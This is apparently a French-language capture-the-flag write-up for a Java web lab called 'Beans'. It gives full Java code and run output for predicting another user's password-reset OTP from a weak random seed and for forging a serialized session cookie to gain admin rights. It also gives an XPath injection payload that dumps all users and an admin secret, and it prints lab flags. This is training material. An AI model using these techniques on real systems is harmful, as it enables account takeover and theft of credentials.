Beans
ANSWERS THE QUESTIONS
Q1 - What vulnerability can be detected in the Login Portal?
Answer :
A. Username Enumeration
Q2 - Demonstrate the attack in order to gather important data?
Answer :
princess
Q3 - What is a secure practice for generating OTPs in web applications?
Answer :
B. Using a cryptographic secure random function
Q4 - By analysing the servlet responsible of "forgot password", what potential vulnerability exists?
Answer :
A. Account Takeover
Q5 - In the same servlet, what is the problematic causing a vulnerability?
Answer :
A. The OTP is generated using parameters with bad modifiers
Q6 - Demonstrate The attack and grab the flag from the user dashboard which we enumerated with the first vulnerability.
Answer : Beans_v8_dedicated_18349-4ex38odyfmsu2mho76evfb58gq5feaet
Exploitation
Methode d’exploittation de génération d’OTP
Étape 1 : Vous avez généré un OTP pour vous-même, par exemple "kyqH0I".
Étape 2 : Nous allons calculer l'état interne du générateur aléatoire (Random) après la génération de cet OTP.
Étape 3 : Nous allons utiliser cet état pour prédire l'OTP pour un autre utilisateur.
Etape1
On intercepte le code OTP pour notre propre compte (après avoir créé un utilisateur et enregistré notre ip comme url de reception d’OTP (http://10.8.0.3:8000)
NB: faire très attention à générer le code une seule fois depuis la plateforme “http://10.8.0.2/requestOTP.jsp”
┌──(robot㉿kali)-[~/Downloads]
└─$ python server.py
Serving HTTP on port 8000...
Received POST data: otp=kyqH0I
10.8.0.2 - - [28/Aug/2024 00:55:22] "POST / HTTP/1.1" 200 -
le code OTP généré est donc “kyqH0I”
Etape2
Determiner le seed utiliser pour faire la generation et ainsi obtenir l’etat interne du generateur random.
Voici le programme utilisé pour l’attaque brute force permettant d’obtenir le seed (avec notre OTP en paramètre)
import java.util.Random;
public class OtpSeedFinder {
// Constantes pour l'algorithme de génération d'OTP
private static final String ALPHANUMERIC_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
private static final long MIN_SEED = 0;
private static final long MAX_SEED = 1000000;
// Méthode pour générer un OTP basé sur un seed donné
public static String generateOTP(Random rand) {
StringBuilder builder = new StringBuilder();
for (int i = 0; i < 6; i++) {
builder.append(ALPHANUMERIC_CHARS.charAt(rand.nextInt(ALPHANUMERIC_CHARS.length())));
}
return builder.toString();
}
// Méthode pour retrouver le seed à partir d'un OTP connu
public static long findSeedFromOTP(String knownOtp) {
for (long potentialSeed = MIN_SEED; potentialSeed <= MAX_SEED; potentialSeed++) {
Random rand = new Random(potentialSeed);
String generatedOtp = generateOTP(rand);
System.out.println("generatedOtp : " + generatedOtp);
if (generatedOtp.equals(knownOtp)) {
return potentialSeed; // Seed trouvé
}
}
return -1; // Seed non trouvé (cas théorique si OTP ne correspond pas à l'algorithme)
}
public static void main(String[] args) {
// Exemple d'OTP connu (vous pouvez remplacer par un OTP réel)
String knownOtp = "kyqH0I"; // Remplacez par l'OTP que vous souhaitez reverser
// Recherche du seed
long foundSeed = findSeedFromOTP(knownOtp);
// Affichage du résultat
if (foundSeed != -1) {
System.out.println("Seed trouvé : " + foundSeed);
} else {
System.out.println("Seed non trouvé.");
}
}
}
Le calcule nous donne un seed de “150483”
Etape 3
Nous avons
Le bon seed: 150483
Le bon etat interne du generateur random qui est 1 (après une génération)
Le code OTP après une génération; kyqH0I
Apartir de ces éléments nous pouvons determiner la prochaine valeur de code OTP (par exemple celle de princess)
Voici le code de prediction
import java.util.Random;
public class OTPPredictor {
private static final String ALPHANUMERIC_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
public static void main(String[] args) {
long foundSeed = 150483; // Insérez ici le seed trouvé à l'étape 2
Random random = new Random(foundSeed);
// Générer et "brûler" le premier OTP, celui qui a été généré précédemment
String firstOtp = generateOTP(random, 6);
System.out.println("First OTP: " + firstOtp);
// Générer le prochain OTP pour un autre utilisateur
String nextOtp = generateOTP(random, 6);
System.out.println("Next OTP for another user: " + nextOtp);
}
private static String generateOTP(Random random, int length) {
StringBuilder otpBuilder = new StringBuilder(length);
for (int i = 0; i < length; i++) {
int index = random.nextInt(ALPHANUMERIC_CHARS.length());
otpBuilder.append(ALPHANUMERIC_CHARS.charAt(index));
}
return otpBuilder.toString();
}
}
Ici le code OTP est genere deux fois pour avoir le bon etat intenre du generateur random
après avoir executé on obtient
┌──(robot㉿kali)-[~/Downloads]
└─$ java OTPPredictor.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
First OTP: kyqH0I
Next OTP for another user: Dl7iv2
Ainsi la prchaine generation nous donera un code OTP qui sera “Dl7iv2”
On se rend donc sur “http://10.8.0.2/requestOTP.jsp” et on entre le username “princess” pour générer le code OTP de princess
Une fois cela est fait on modifie le mot de passe de princess avec le nouveau code OTP qui devrait être “Dl7iv2”
Q7 - What vulnerability arises from improper handling of serialized data in cookies?
Answer : B. Privilege escalation
Q8 - What aspect of AdminServlet code is vulnerable to the last vulnerability chosen?
Answer :
A. Use of common Java serialization libraries without additional security checks
B. Cookies are used without secure flags
C. User sessions are serialized without integrity checks
Q9 - Exploit the vulnerability and grab the flag.
Answer : Beans_v8_dedicated_18349-loj8iuimae651u12l0ge5p3v55a6lj0s
Exploitation
Après avoir analysé le code AdminServlet.java
on comprend que la methode de generation de la session utilisateur n’est pas sécurisé et que la verification est faite sur le role de l’utilisateur (normal ou admin)
Nous avons donc codé un programme permetant de decodé le usersession (nous prenons l’exemple du usersession de princess
)
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.xpath.*;
import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.io.Serializable;
import java.util.Base64;
import java.io.*;
public class decodeUsersession {
public static void main(String[] args) {
String sessionData = "rO0ABXNyAAtVc2VyU2Vzc2lvbgU1ln98HkPVAgACTAAEcm9sZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wACHVzZXJuYW1lcQB%2BAAF4cHQABm5vcm1hbHQACHByaW5jZXNz";
try {
// Décodage de la chaîne URL encodée
String decodedData = URLDecoder.decode(sessionData, StandardCharsets.UTF_8.name());
// Désérialisation en objet UserSession
UserSession userSession = SerializationUtil.deserialize(decodedData);
// Affichage des informations de la session
System.out.println("Username: " + userSession.getUsername());
System.out.println("Role: " + userSession.getRole());
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
public class SerializationUtil {
public static String serialize(UserSession userSession) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(userSession);
oos.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static UserSession deserialize(String base64String) throws IOException, ClassNotFoundException {
if (base64String == null || base64String.length() % 4 != 0) {
throw new IllegalArgumentException("Invalid cookie to decode");
}
byte[] data = Base64.getDecoder().decode(base64String);
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
return (UserSession) ois.readObject();
}
}
}
public class UserSession implements Serializable {
private String username;
private String role;
public UserSession(String username, String role) {
this.username = username;
this.role = role;
}
public String getRole() { return role; }
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
}
┌──(robot㉿kali)-[~/Downloads]
└─$ java decodeUsersession.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Username: princess
Role: normal
On constate donc le username princess
et le Role qui est normal
Ainsi on va codé le programme d’encodage du usersession en prenant soins de modifier le Role à admin
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.xpath.*;
import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.io.Serializable;
import java.util.Base64;
import java.io.*;
public class encodeUsersession {
public static void main(String[] args) {
// Exemple de données utilisateur
String username = "princess";
String role = "admin";
try {
// Créer une nouvelle session utilisateur
UserSession userSession = new UserSession(username, role);
// Sérialiser la session utilisateur en chaîne Base64
String encodedSession = SerializationUtil.serialize(userSession);
// Encoder la chaîne en format URL
String urlEncodedSession = URLEncoder.encode(encodedSession, StandardCharsets.UTF_8.name());
// Afficher la session utilisateur encodée
System.out.println("Encoded User Session: " + urlEncodedSession);
} catch (IOException e) {
e.printStackTrace();
}
}
}
public class SerializationUtil {
public static String serialize(UserSession userSession) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(userSession);
oos.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static UserSession deserialize(String base64String) throws IOException, ClassNotFoundException {
if (base64String == null || base64String.length() % 4 != 0) {
throw new IllegalArgumentException("Invalid cookie to decode");
}
byte[] data = Base64.getDecoder().decode(base64String);
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
return (UserSession) ois.readObject();
}
}
}
public class UserSession implements Serializable {
private String username;
private String role;
public UserSession(String username, String role) {
this.username = username;
this.role = role;
}
public String getRole() {
return role;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
}
┌──(robot㉿kali)-[~/Downloads]
└─$ java encodeUsersession.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Encoded User Session: rO0ABXNyAAtVc2VyU2Vzc2lvbgU1ln98HkPVAgACTAAEcm9sZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wACHVzZXJuYW1lcQB%2BAAF4cHQABWFkbWludAAIcHJpbmNlc3M%3D
Nous nous connectons ensuite entant que princess
et nous modifions notre usersession par celui que nous avons généré puis nous nous rendons sur la page /adminPage.jsp
On ontient ainsi le flag
Q10 - What other type of vulnerability is the AdminServlet susceptible to?
Answer : B. XPATH Injection
Q11 - Exploit the vulnerability and grab the admin secret
Answer : s3cr31adm1np@ssw000rd
Exploitation
Une fois connecté à l’espace admin nous pouvons emettre de requette pour obtenir les infos sur les users
les users presents se trouvent dans le fichier users.xml
Ainsi on peut donc effectuer des requettes sur jack,oner,aarab
par contre les requettes sur admin ne fonctionnent pas
Cela se vois dans le code AdminServlet.java
qui modifie la requette sur admin
en user
.
Cela n’est pas un problème. Vu que le username est ajouté dans la requette sans aucun control bloquant, nous pouvons effectuer de l’injection XPATH pour obtenir toute les enregistrements
la requette est la suivante (et doit etre mis dans le champ user)
' or '1'='1
L’execution de cette requette nous permet d’avoir toutes les informations sur tout les utilisateurs y compris admin et son secret